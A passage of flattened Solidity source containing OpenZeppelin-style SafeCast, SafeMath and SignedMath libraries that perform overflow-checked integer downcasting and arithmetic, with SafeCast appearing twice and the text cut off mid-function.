  function toInt136(int256 value) internal pure returns (int136 downcasted) {
    downcasted = int136(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 136 bits");
  }

  /**
   * @dev Returns the downcasted int128 from int256, reverting on
   * overflow (when the input is less than smallest int128 or
   * greater than largest int128).
   *
   * Counterpart to Solidity's `int128` operator.
   *
   * Requirements:
   *
   * - input must fit into 128 bits
   *
   * _Available since v3.1._
   */
  function toInt128(int256 value) internal pure returns (int128 downcasted) {
    downcasted = int128(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 128 bits");
  }

  /**
   * @dev Returns the downcasted int120 from int256, reverting on
   * overflow (when the input is less than smallest int120 or
   * greater than largest int120).
   *
   * Counterpart to Solidity's `int120` operator.
   *
   * Requirements:
   *
   * - input must fit into 120 bits
   *
   * _Available since v4.7._
   */
  function toInt120(int256 value) internal pure returns (int120 downcasted) {
    downcasted = int120(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 120 bits");
  }

  /**
   * @dev Returns the downcasted int112 from int256, reverting on
   * overflow (when the input is less than smallest int112 or
   * greater than largest int112).
   *
   * Counterpart to Solidity's `int112` operator.
   *
   * Requirements:
   *
   * - input must fit into 112 bits
   *
   * _Available since v4.7._
   */
  function toInt112(int256 value) internal pure returns (int112 downcasted) {
    downcasted = int112(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 112 bits");
  }

  /**
   * @dev Returns the downcasted int104 from int256, reverting on
   * overflow (when the input is less than smallest int104 or
   * greater than largest int104).
   *
   * Counterpart to Solidity's `int104` operator.
   *
   * Requirements:
   *
   * - input must fit into 104 bits
   *
   * _Available since v4.7._
   */
  function toInt104(int256 value) internal pure returns (int104 downcasted) {
    downcasted = int104(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 104 bits");
  }

  /**
   * @dev Returns the downcasted int96 from int256, reverting on
   * overflow (when the input is less than smallest int96 or
   * greater than largest int96).
   *
   * Counterpart to Solidity's `int96` operator.
   *
   * Requirements:
   *
   * - input must fit into 96 bits
   *
   * _Available since v4.7._
   */
  function toInt96(int256 value) internal pure returns (int96 downcasted) {
    downcasted = int96(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 96 bits");
  }

  /**
   * @dev Returns the downcasted int88 from int256, reverting on
   * overflow (when the input is less than smallest int88 or
   * greater than largest int88).
   *
   * Counterpart to Solidity's `int88` operator.
   *
   * Requirements:
   *
   * - input must fit into 88 bits
   *
   * _Available since v4.7._
   */
  function toInt88(int256 value) internal pure returns (int88 downcasted) {
    downcasted = int88(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 88 bits");
  }

  /**
   * @dev Returns the downcasted int80 from int256, reverting on
   * overflow (when the input is less than smallest int80 or
   * greater than largest int80).
   *
   * Counterpart to Solidity's `int80` operator.
   *
   * Requirements:
   *
   * - input must fit into 80 bits
   *
   * _Available since v4.7._
   */
  function toInt80(int256 value) internal pure returns (int80 downcasted) {
    downcasted = int80(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 80 bits");
  }

  /**
   * @dev Returns the downcasted int72 from int256, reverting on
   * overflow (when the input is less than smallest int72 or
   * greater than largest int72).
   *
   * Counterpart to Solidity's `int72` operator.
   *
   * Requirements:
   *
   * - input must fit into 72 bits
   *
   * _Available since v4.7._
   */
  function toInt72(int256 value) internal pure returns (int72 downcasted) {
    downcasted = int72(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 72 bits");
  }

  /**
   * @dev Returns the downcasted int64 from int256, reverting on
   * overflow (when the input is less than smallest int64 or
   * greater than largest int64).
   *
   * Counterpart to Solidity's `int64` operator.
   *
   * Requirements:
   *
   * - input must fit into 64 bits
   *
   * _Available since v3.1._
   */
  function toInt64(int256 value) internal pure returns (int64 downcasted) {
    downcasted = int64(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 64 bits");
  }

  /**
   * @dev Returns the downcasted int56 from int256, reverting on
   * overflow (when the input is less than smallest int56 or
   * greater than largest int56).
   *
   * Counterpart to Solidity's `int56` operator.
   *
   * Requirements:
   *
   * - input must fit into 56 bits
   *
   * _Available since v4.7._
   */
  function toInt56(int256 value) internal pure returns (int56 downcasted) {
    downcasted = int56(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 56 bits");
  }

  /**
   * @dev Returns the downcasted int48 from int256, reverting on
   * overflow (when the input is less than smallest int48 or
   * greater than largest int48).
   *
   * Counterpart to Solidity's `int48` operator.
   *
   * Requirements:
   *
   * - input must fit into 48 bits
   *
   * _Available since v4.7._
   */
  function toInt48(int256 value) internal pure returns (int48 downcasted) {
    downcasted = int48(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 48 bits");
  }

  /**
   * @dev Returns the downcasted int40 from int256, reverting on
   * overflow (when the input is less than smallest int40 or
   * greater than largest int40).
   *
   * Counterpart to Solidity's `int40` operator.
   *
   * Requirements:
   *
   * - input must fit into 40 bits
   *
   * _Available since v4.7._
   */
  function toInt40(int256 value) internal pure returns (int40 downcasted) {
    downcasted = int40(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 40 bits");
  }

  /**
   * @dev Returns the downcasted int32 from int256, reverting on
   * overflow (when the input is less than smallest int32 or
   * greater than largest int32).
   *
   * Counterpart to Solidity's `int32` operator.
   *
   * Requirements:
   *
   * - input must fit into 32 bits
   *
   * _Available since v3.1._
   */
  function toInt32(int256 value) internal pure returns (int32 downcasted) {
    downcasted = int32(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 32 bits");
  }

  /**
   * @dev Returns the downcasted int24 from int256, reverting on
   * overflow (when the input is less than smallest int24 or
   * greater than largest int24).
   *
   * Counterpart to Solidity's `int24` operator.
   *
   * Requirements:
   *
   * - input must fit into 24 bits
   *
   * _Available since v4.7._
   */
  function toInt24(int256 value) internal pure returns (int24 downcasted) {
    downcasted = int24(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 24 bits");
  }

  /**
   * @dev Returns the downcasted int16 from int256, reverting on
   * overflow (when the input is less than smallest int16 or
   * greater than largest int16).
   *
   * Counterpart to Solidity's `int16` operator.
   *
   * Requirements:
   *
   * - input must fit into 16 bits
   *
   * _Available since v3.1._
   */
  function toInt16(int256 value) internal pure returns (int16 downcasted) {
    downcasted = int16(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 16 bits");
  }

  /**
   * @dev Returns the downcasted int8 from int256, reverting on
   * overflow (when the input is less than smallest int8 or
   * greater than largest int8).
   *
   * Counterpart to Solidity's `int8` operator.
   *
   * Requirements:
   *
   * - input must fit into 8 bits
   *
   * _Available since v3.1._
   */
  function toInt8(int256 value) internal pure returns (int8 downcasted) {
    downcasted = int8(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 8 bits");
  }

  /**
   * @dev Converts an unsigned uint256 into a signed int256.
   *
   * Requirements:
   *
   * - input must be less than or equal to maxInt256.
   *
   * _Available since v3.0._
   */
  function toInt256(uint256 value) internal pure returns (int256) {
    // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
    require(
      value <= uint256(type(int256).max),
      "SafeCast: value doesn't fit in an int256"
    );
    return int256(value);
  }
}

library SafeMath {
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
  }

  function sub(
    uint256 a,
    uint256 b,
    string memory errorMessage
  ) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;
    return c;
  }

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
  }

  function div(
    uint256 a,
    uint256 b,
    string memory errorMessage
  ) internal pure returns (uint256) {
    require(b > 0, errorMessage);
    uint256 c = a / b;
    return c;
  }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)

pragma solidity ^0.8.0;

/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
  /**
   * @dev Returns the largest of two signed numbers.
   */
  function max(int256 a, int256 b) internal pure returns (int256) {
    return a > b ? a : b;
  }

  /**
   * @dev Returns the smallest of two signed numbers.
   */
  function min(int256 a, int256 b) internal pure returns (int256) {
    return a < b ? a : b;
  }

  /**
   * @dev Returns the average of two signed numbers without overflow.
   * The result is rounded towards zero.
   */
  function average(int256 a, int256 b) internal pure returns (int256) {
    // Formula from the book "Hacker's Delight"
    int256 x = (a & b) + ((a ^ b) >> 1);
    return x + (int256(uint256(x) >> 255) & (a ^ b));
  }

  /**
   * @dev Returns the absolute unsigned value of a signed value.
   */
  function abs(int256 n) internal pure returns (uint256) {
    unchecked {
      // must be unchecked in order to support `n = type(int256).min`
      return uint256(n >= 0 ? n : -n);
    }
  }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)
// This file was procedurally generated from scripts/generate/templates/SafeCast.js.

pragma solidity ^0.8.0;

/**
 * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
 * checks.
 *
 * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
 * easily result in undesired exploitation or bugs, since developers usually
 * assume that overflows raise errors. `SafeCast` restores this intuition by
 * reverting the transaction when such an operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 *
 * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
 * all math on `uint256` and `int256` and then downcasting.
 */
library SafeCast {
  /**
   * @dev Returns the downcasted uint248 from uint256, reverting on
   * overflow (when the input is greater than largest uint248).
   *
   * Counterpart to Solidity's `uint248` operator.
   *
   * Requirements:
   *
   * - input must fit into 248 bits
   *
   * _Available since v4.7._
   */
  function toUint248(uint256 value) internal pure returns (uint248) {
    require(
      value <= type(uint248).max,
      "SafeCast: value doesn't fit in 248 bits"
    );
    return uint248(value);
  }

  /**
   * @dev Returns the downcasted uint240 from uint256, reverting on
   * overflow (when the input is greater than largest uint240).
   *
   * Counterpart to Solidity's `uint240` operator.
   *
   * Requirements:
   *
   * - input must fit into 240 bits
   *
   * _Available since v4.7._
   */
  function toUint240(uint256 value) internal pure returns (uint240) {
    require(
      value <= type(uint240).max,
      "SafeCast: value doesn't fit in 240 bits"
    );
    return uint240(value);
  }

  /**
   * @dev Returns the downcasted uint232 from uint256, reverting on
   * overflow (when the input is greater than largest uint232).
   *
   * Counterpart to Solidity's `uint232` operator.
   *
   * Requirements:
   *
   * - input must fit into 232 bits
   *
   * _Available since v4.7._
   */
  function toUint232(uint256 value) internal pure returns (uint232) {
    require(
      value <= type(uint232).max,
      "SafeCast: value doesn't fit in 232 bits"
    );
    return uint232(value);
  }

  /**
   * @dev Returns the downcasted uint224 from uint256, reverting on
   * overflow (when the input is greater than largest uint224).
   *
   * Counterpart to Solidity's `uint224` operator.
   *
   * Requirements:
   *
   * - input must fit into 224 bits
   *
   * _Available since v4.2._
   */
  function toUint224(uint256 value) internal pure returns (uint224) {
    require(
      value <= type(uint224).max,
      "SafeCast: value doesn't fit in 224 bits"
    );
    return uint224(value);
  }

  /**
   * @dev Returns the downcasted uint216 from uint256, reverting on
   * overflow (when the input is greater than largest uint216).
   *
   * Counterpart to Solidity's `uint216` operator.
   *
   * Requirements:
   *
   * - input must fit into 216 bits
   *
   * _Available since v4.7._
   */
  function toUint216(uint256 value) internal pure returns (uint216) {
    require(
      value <= type(uint216).max,
      "SafeCast: value doesn't fit in 216 bits"
    );
    return uint216(value);
  }

  /**
   * @dev Returns the downcasted uint208 from uint256, reverting on
   * overflow (when the input is greater than largest uint208).
   *
   * Counterpart to Solidity's `uint208` operator.
   *
   * Requirements:
   *
   * - input must fit into 208 bits
   *
   * _Available since v4.7._
   */
  function toUint208(uint256 value) internal pure returns (uint208) {
    require(
      value <= type(uint208).max,
      "SafeCast: value doesn't fit in 208 bits"
    );
    return uint208(value);
  }

  /**
   * @dev Returns the downcasted uint200 from uint256, reverting on
   * overflow (when the input is greater than largest uint200).
   *
   * Counterpart to Solidity's `uint200` operator.
   *
   * Requirements:
   *
   * - input must fit into 200 bits
   *
   * _Available since v4.7._
   */
  function toUint200(uint256 value) internal pure returns (uint200) {
    require(
      value <= type(uint200).max,
      "SafeCast: value doesn't fit in 200 bits"
    );
    return uint200(value);
  }

  /**
   * @dev Returns the downcasted uint192 from uint256, reverting on
   * overflow (when the input is greater than largest uint192).
   *
   * Counterpart to Solidity's `uint192` operator.
   *
   * Requirements:
   *
   * - input must fit into 192 bits
   *
   * _Available since v4.7._
   */
  function toUint192(uint256 value) internal pure returns (uint192) {
    require(
      value <= type(uint192).max,
      "SafeCast: value doesn't fit in 192 bits"
    );
    return uint192(value);
  }

  /**
   * @dev Returns the downcasted uint184 from uint256, reverting on
   * overflow (when the input is greater than largest uint184).
   *
   * Counterpart to Solidity's `uint184` operator.
   *
   * Requirements:
   *
   * - input must fit into 184 bits
   *
   * _Available since v4.7._
   */
  function toUint184(uint256 value) internal pure returns (uint184) {
    require(
      value <= type(uint184).max,
      "SafeCast: value doesn't fit in 184 bits"
    );
    return uint184(value);
  }

  /**
   * @dev Returns the downcasted uint176 from uint256, reverting on
   * overflow (when the input is greater than largest uint176).
   *
   * Counterpart to Solidity's `uint176` operator.
   *
   * Requirements:
   *
   * - input must fit into 176 bits
   *
   * _Available since v4.7._
   */
  function toUint176(uint256 value) internal pure returns (uint176) {
    require(
      value <= type(uint176).max,
      "SafeCast: value doesn't fit in 176 bits"
    );
    return uint176(value);
  }

  /**
   * @dev Returns the downcasted uint168 from uint256, reverting on
   * overflow (when the input is greater than largest uint168).
   *
   * Counterpart to Solidity's `uint168` operator.
   *
   * Requirements:
   *
   * - input must fit into 168 bits
   *
   * _Available since v4.7._
   */
  function toUint168(uint256 value) internal pure returns (uint168) {
    require(
      value <= type(uint168).max,
      "SafeCast: value doesn't fit in 168 bits"
    );
    return uint168(value);
  }

  /**
   * @dev Returns the downcasted uint160 from uint256, reverting on
   * overflow (when the input is greater than largest uint160).
   *
   * Counterpart to Solidity's `uint160` operator.
   *
   * Requirements:
   *
   * - input must fit into 160 bits
   *
   * _Available since v4.7._
   */
  function toUint160(uint256 value) internal pure returns (uint160) {
    require(
      value <= type(uint160).max,
      "SafeCast: value doesn't fit in 160 bits"
    );
    return uint160(value);
  }

  /**
   * @dev Returns the downcasted uint152 from uint256, reverting on
   * overflow (when the input is greater than largest uint152).
   *
   * Counterpart to Solidity's `uint152` operator.
   *
   * Requirements:
   *
   * - input must fit into 152 bits
   *
   * _Available since v4.7._
   */
  function toUint152(uint256 value) internal pure returns (uint152) {
    require(
      value <= type(uint152).max,
      "SafeCast: value doesn't fit in 152 bits"
    );
    return uint152(value);
  }

  /**
   * @dev Returns the downcasted uint144 from uint256, reverting on
   * overflow (when the input is greater than largest uint144).
   *
   * Counterpart to Solidity's `uint144` operator.
   *
   * Requirements:
   *
   * - input must fit into 144 bits
   *
   * _Available since v4.7._
   */
  function toUint144(uint256 value) internal pure returns (uint144) {
    require(
      value <= type(uint144).max,
      "SafeCast: value doesn't fit in 144 bits"
    );
    return uint144(value);
  }

  /**
   * @dev Returns the downcasted uint136 from uint256, reverting on
   * overflow (when the input is greater than largest uint136).
   *
   * Counterpart to Solidity's `uint136` operator.
   *
   * Requirements:
   *
   * - input must fit into 136 bits
   *
   * _Available since v4.7._
   */
  function toUint136(uint256 value) internal pure returns (uint136) {
    require(
      value <= type(uint136).max,
      "SafeCast: value doesn't fit in 136 bits"
    );
    return uint136(value);
  }

  /**
   * @dev Returns the downcasted uint128 from uint256, reverting on
   * overflow (when the input is greater than largest uint128).
   *
   * Counterpart to Solidity's `uint128` operator.
   *
   * Requirements:
   *
   * - input must fit into 128 bits
   *
   * _Available since v2.5._
   */
  function toUint128(uint256 value) internal pure returns (uint128) {
    require(
      value <= type(uint128).max,
      "SafeCast: value doesn't fit in 128 bits"
    );
    return uint128(value);
  }

  /**
   * @dev Returns the downcasted uint120 from uint256, reverting on
   * overflow (when the input is greater than largest uint120).
   *
   * Counterpart to Solidity's `uint120` operator.
   *
   * Requirements:
   *
   * - input must fit into 120 bits
   *
   * _Available since v4.7._
   */
  function toUint120(uint256 value) internal pure returns (uint120) {
    require(
      value <= type(uint120).max,
      "SafeCast: value doesn't fit in 120 bits"
    );
    return uint120(value);
  }

  /**
   * @dev Returns the downcasted uint112 from uint256, reverting on
   * overflow (when the input is greater than largest uint112).
   *
   * Counterpart to Solidity's `uint112` operator.
   *
   * Requirements:
   *
   * - input must fit into 112 bits
   *
   * _Available since v4.7._
   */
  function toUint112(uint256 value) internal pure returns (uint112) {
    require(
      value <= type(uint112).max,
      "SafeCast: value doesn't fit in 112 bits"
    );
    return uint112(value);
  }

  /**
   * @dev Returns the downcasted uint104 from uint256, reverting on
   * overflow (when the input is greater than largest uint104).
   *
   * Counterpart to Solidity's `uint104` operator.
   *
   * Requirements:
   *
   * - input must fit into 104 bits
   *
   * _Available since v4.7._
   */
  function toUint104(uint256 value) internal pure returns (uint104) {
    require(
      value <= type(uint104).max,
      "SafeCast: value doesn't fit in 104 bits"
    );
    return uint104(value);
  }

  /**
   * @dev Returns the downcasted uint96 from uint256, reverting on
   * overflow (when the input is greater than largest uint96).
   *
   * Counterpart to Solidity's `uint96` operator.
   *
   * Requirements:
   *
   * - input must fit into 96 bits
   *
   * _Available since v4.2._
   */
  function toUint96(uint256 value) internal pure returns (uint96) {
    require(
      value <= type(uint96).max,
      "SafeCast: value doesn't fit in 96 bits"
    );
    return uint96(value);
  }

  /**
   * @dev Returns the downcasted uint88 from uint256, reverting on
   * overflow (when the input is greater than largest uint88).
   *
   * Counterpart to Solidity's `uint88` operator.
   *
   * Requirements:
   *
   * - input must fit into 88 bits
   *
   * _Available since v4.7._
   */
  function toUint88(uint256 value) internal pure returns (uint88) {
    require(
      value <= type(uint88).max,
      "SafeCast: value doesn't fit in 88 bits"
    );
    return uint88(value);
  }

  /**
   * @dev Returns the downcasted uint80 from uint256, reverting on
   * overflow (when the input is greater than largest uint80).
   *
   * Counterpart to Solidity's `uint80` operator.
   *
   * Requirements:
   *
   * - input must fit into 80 bits
   *
   * _Available since v4.7._
   */
  function toUint80(uint256 value) internal pure returns (uint80) {
    require(
      value <= type(uint80).max,
      "SafeCast: value doesn't fit in 80 bits"
    );
    return uint80(value);
  }

  /**
   * @dev Returns the downcasted uint72 from uint256, reverting on
   * overflow (when the input is greater than largest uint72).
   *
   * Counterpart to Solidity's `uint72` operator.
   *
   * Requirements:
   *
   * - input must fit into 72 bits
   *
   * _Available since v4.7._
   */
  function toUint72(uint256 value) internal pure returns (uint72) {
    require(
      value <= type(uint72).max,
      "SafeCast: value doesn't fit in 72 bits"
    );
    return uint72(value);
  }

  /**
   * @dev Returns the downcasted uint64 from uint256, reverting on
   * overflow (when the input is greater than largest uint64).
   *
   * Counterpart to Solidity's `uint64` operator.
   *
   * Requirements:
   *
   * - input must fit into 64 bits
   *
   * _Available since v2.5._
   */
  function toUint64(uint256 value) internal pure returns (uint64) {
    require(
      value <= type(uint64).max,
      "SafeCast: value doesn't fit in 64 bits"
    );
    return uint64(value);
  }

  /**
   * @dev Returns the downcasted uint56 from uint256, reverting on
   * overflow (when the input is greater than largest uint56).
   *
   * Counterpart to Solidity's `uint56` operator.
   *
   * Requirements:
   *
   * - input must fit into 56 bits
   *
   * _Available since v4.7._
   */
  function toUint56(uint256 value) internal pure returns (uint56) {
    require(
      value <= type(uint56).max,
      "SafeCast: value doesn't fit in 56 bits"
    );
    return uint56(value);
  }

  /**
   * @dev Returns the downcasted uint48 from uint256, reverting on
   * overflow (when the input is greater than largest uint48).
   *
   * Counterpart to Solidity's `uint48` operator.
   *
   * Requirements:
   *
   * - input must fit into 48 bits
   *
   * _Available since v4.7._
   */
  function toUint48(uint256 value) internal pure returns (uint48) {
    require(
      value <= type(uint48).max,
      "SafeCast: value doesn't fit in 48 bits"
    );
    return uint48(value);
  }

  /**
   * @dev Returns the downcasted uint40 from uint256, reverting on
   * overflow (when the input is greater than largest uint40).
   *
   * Counterpart to Solidity's `uint40` operator.
   *
   * Requirements:
   *
   * - input must fit into 40 bits
   *
   * _Available since v4.7._
   */
  function toUint40(uint256 value) internal pure returns (uint40) {
    require(
      value <= type(uint40).max,
      "SafeCast: value doesn't fit in 40 bits"
    );
    return uint40(value);
  }

  /**
   * @dev Returns the downcasted uint32 from uint256, reverting on
   * overflow (when the input is greater than largest uint32).
   *
   * Counterpart to Solidity's `uint32` operator.
   *
   * Requirements:
   *
   * - input must fit into 32 bits
   *
   * _Available since v2.5._
   */
  function toUint32(uint256 value) internal pure returns (uint32) {
    require(
      value <= type(uint32).max,
      "SafeCast: value doesn't fit in 32 bits"
    );
    return uint32(value);
  }

  /**
   * @dev Returns the downcasted uint24 from uint256, reverting on
   * overflow (when the input is greater than largest uint24).
   *
   * Counterpart to Solidity's `uint24` operator.
   *
   * Requirements:
   *
   * - input must fit into 24 bits
   *
   * _Available since v4.7._
   */
  function toUint24(uint256 value) internal pure returns (uint24) {
    require(
      value <= type(uint24).max,
      "SafeCast: value doesn't fit in 24 bits"
    );
    return uint24(value);
  }

  /**
   * @dev Returns the downcasted uint16 from uint256, reverting on
   * overflow (when the input is greater than largest uint16).
   *
   * Counterpart to Solidity's `uint16` operator.
   *
   * Requirements:
   *
   * - input must fit into 16 bits
   *
   * _Available since v2.5._
   */
  function toUint16(uint256 value) internal pure returns (uint16) {
    require(
      value <= type(uint16).max,
      "SafeCast: value doesn't fit in 16 bits"
    );
    return uint16(value);
  }

  /**
   * @dev Returns the downcasted uint8 from uint256, reverting on
   * overflow (when the input is greater than largest uint8).
   *
   * Counterpart to Solidity's `uint8` operator.
   *
   * Requirements:
   *
   * - input must fit into 8 bits
   *
   * _Available since v2.5._
   */
  function toUint8(uint256 value) internal pure returns (uint8) {
    require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
    return uint8(value);
  }

  /**
   * @dev Converts a signed int256 into an unsigned uint256.
   *
   * Requirements:
   *
   * - input must be greater than or equal to 0.
   *
   * _Available since v3.0._
   */
  function toUint256(int256 value) internal pure returns (uint256) {
    require(value >= 0, "SafeCast: value must be positive");
    return uint256(value);
  }

  /**
   * @dev Returns the downcasted int248 from int256, reverting on
   * overflow (when the input is less than smallest int248 or
   * greater than largest int248).
   *
   * Counterpart to Solidity's `int248` operator.
   *
   * Requirements:
   *
   * - input must fit into 248 bits
   *
   * _Available since v4.7._
   */
  function toInt248(int256 value) internal pure returns (int248 downcasted) {
    downcasted = int248(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 248 bits");
  }

  /**
   * @dev Returns the downcasted int240 from int256, reverting on
   * overflow (when the input is less than smallest int240 or
   * greater than largest int240).
   *
   * Counterpart to Solidity's `int240` operator.
   *
   * Requirements:
   *
   * - input must fit into 240 bits
   *
   * _Available since v4.7._
   */
  function toInt240(int256 value) internal pure returns (int240 downcasted) {
    downcasted = int240(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 240 bits");
  }

  /**
   * @dev Returns the downcasted int232 from int256, reverting on
   * overflow (when the input is less than smallest int232 or
   * greater than largest int232).
   *
   * Counterpart to Solidity's `int232` operator.
   *
   * Requirements:
   *
   * - input must fit into 232 bits
   *
   * _Available since v4.7._
   */
  function toInt232(int256 value) internal pure returns (int232 downcasted) {
    downcasted = int232(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 232 bits");
  }

  /**
   * @dev Returns the downcasted int224 from int256, reverting on
   * overflow (when the input is less than smallest int224 or
   * greater than largest int224).
   *
   * Counterpart to Solidity's `int224` operator.
   *
   * Requirements:
   *
   * - input must fit into 224 bits
   *
   * _Available since v4.7._
   */
  function toInt224(int256 value) internal pure returns (int224 downcasted) {
    downcasted = int224(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 224 bits");
  }

  /**
   * @dev Returns the downcasted int216 from int256, reverting on
   * overflow (when the input is less than smallest int216 or
   * greater than largest int216).
   *
   * Counterpart to Solidity's `int216` operator.
   *
   * Requirements:
   *
   * - input must fit into 216 bits
   *
   * _Available since v4.7._
   */
  function toInt216(int256 value) internal pure returns (int216 downcasted) {
    downcasted = int216(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 216 bits");
  }

  /**
   * @dev Returns the downcasted int208 from int256, reverting on
   * overflow (when the input is less than smallest int208 or
   * greater than largest int208).
   *
   * Counterpart to Solidity's `int208` operator.
   *
   * Requirements:
   *
   * - input must fit into 208 bits
   *
   * _Available since v4.7._
   */
  function toInt208(int256 value) internal pure returns (int208 downcasted) {
    downcasted = int208(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 208 bits");
  }

  /**
   * @dev Returns the downcasted int200 from int256, reverting on
   * overflow (when the input is less than smallest int200 or
   * greater than largest int200).
   *
   * Counterpart to Solidity's `int200` operator.
   *
   * Requirements:
   *
   * - input must fit into 200 bits
   *
   * _Available since v4.7._
   */
  function toInt200(int256 value) internal pure returns (int200 downcasted) {
    downcasted = int200(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 200 bits");
  }

  /**
   * @dev Returns the downcasted int192 from int256, reverting on
   * overflow (when the input is less than smallest int192 or
   * greater than largest int192).
   *
   * Counterpart to Solidity's `int192` operator.
   *
   * Requirements:
   *
   * - input must fit into 192 bits
   *
   * _Available since v4.7._
   */
  function toInt192(int256 value) internal pure returns (int192 downcasted) {
    downcasted = int192(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 192 bits");
  }

  /**
   * @dev Returns the downcasted int184 from int256, reverting on
   * overflow (when the input is less than smallest int184 or
   * greater than largest int184).
   *
   * Counterpart to Solidity's `int184` operator.
   *
   * Requirements:
   *
   * - input must fit into 184 bits
   *
   * _Available since v4.7._
   */
  function toInt184(int256 value) internal pure returns (int184 downcasted) {
    downcasted = int184(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 184 bits");
  }

  /**
   * @dev Returns the downcasted int176 from int256, reverting on
   * overflow (when the input is less than smallest int176 or
   * greater than largest int176).
   *
   * Counterpart to Solidity's `int176` operator.
   *
   * Requirements:
   *
   * - input must fit into 176 bits
   *
   * _Available since v4.7._
   */
  function toInt176(int256 value) internal pure returns (int176 downcasted) {
    downcasted = int176(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 176 bits");
  }

  /**
   * @dev Returns the downcasted int168 from int256, reverting on
   * overflow (when the input is less than smallest int168 or
   * greater than largest int168).
   *
   * Counterpart to Solidity's `int168` operator.
   *
   * Requirements:
   *
   * - input must fit into 168 bits
   *
   * _Available since v4.7._
   */
  function toInt168(int256 value) internal pure returns (int168 downcasted) {
    downcasted = int168(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 168 bits");
  }

  /**
   * @dev Returns the downcasted int160 from int256, reverting on
   * overflow (when the input is less than smallest int160 or
   * greater than largest int160).
   *
   * Counterpart to Solidity's `int160` operator.
   *
   * Requirements:
   *
   * - input must fit into 160 bits
   *
   * _Available since v4.7._
   */
  function toInt160(int256 value) internal pure returns (int160 downcasted) {
    downcasted = int160(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 160 bits");
  }

  /**
   * @dev Returns the downcasted int152 from int256, reverting on
   * overflow (when the input is less than smallest int152 or
   * greater than largest int152).
   *
   * Counterpart to Solidity's `int152` operator.
   *
   * Requirements:
   *
   * - input must fit into 152 bits
   *
   * _Available since v4.7._
   */
  function toInt152(int256 value) internal pure returns (int152 downcasted) {
    downcasted = int152(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 152 bits");
  }

  /**
   * @dev Returns the downcasted int144 from int256, reverting on
   * overflow (when the input is less than smallest int144 or
   * greater than largest int144).
   *
   * Counterpart to Solidity's `int144` operator.
   *
   * Requirements:
   *
   * - input must fit into 144 bits
   *
   * _Available since v4.7._
   */
  function toInt144(int256 value) internal pure returns (int144 downcasted) {
    downcasted = int144(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 144 bits");
  }

  /**
   * @dev Returns the downcasted int136 from int256, reverting on
   * overflow (when the input is less than smallest int136 or
   * greater than largest int136).
   *
   * Counterpart to Solidity's `int136` operator.
   *
   * Requirements:
   *
   * - input must fit into 136 bits
   *
   * _Available since v4.7._
   */
  function toInt136(int256 value) internal pure returns (int136 downcasted) {
    downcasted = int136(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 136 bits");
  }

  /**
   * @dev Returns the downcasted int128 from int256, reverting on
   * overflow (when the input is less than smallest int128 or
   * greater than largest int128).
   *
   * Counterpart to Solidity's `int128` operator.
   *
   * Requirements:
   *
   * - input must fit into 128 bits
   *
   * _Available since v3.1._
   */
  function toInt128(int256 value) internal pure returns (int128 downcasted) {
    downcasted = int128(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 128 bits");
  }

  /**
   * @dev Returns the downcasted int120 from int256, reverting on
   * overflow (when the input is less than smallest int120 or
   * greater than largest int120).
   *
   * Counterpart to Solidity's `int120` operator.
   *
   * Requirements:
   *
   * - input must fit into 120 bits
   *
   * _Available since v4.7._
   */
  function toInt120(int256 value) internal pure returns (int120 downcasted) {
    downcasted = int120(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 120 bits");
  }

  /**
   * @dev Returns the downcasted int112 from int256, reverting on
   * overflow (when the input is less than smallest int112 or
   * greater than largest int112).
   *
   * Counterpart to Solidity's `int112` operator.
   *
   * Requirements:
   *
   * - input must fit into 112 bits
   *
   * _Available since v4.7._
   */
  function toInt112(int256 value) internal pure returns (int112 downcasted) {
    downcasted = int112(value);
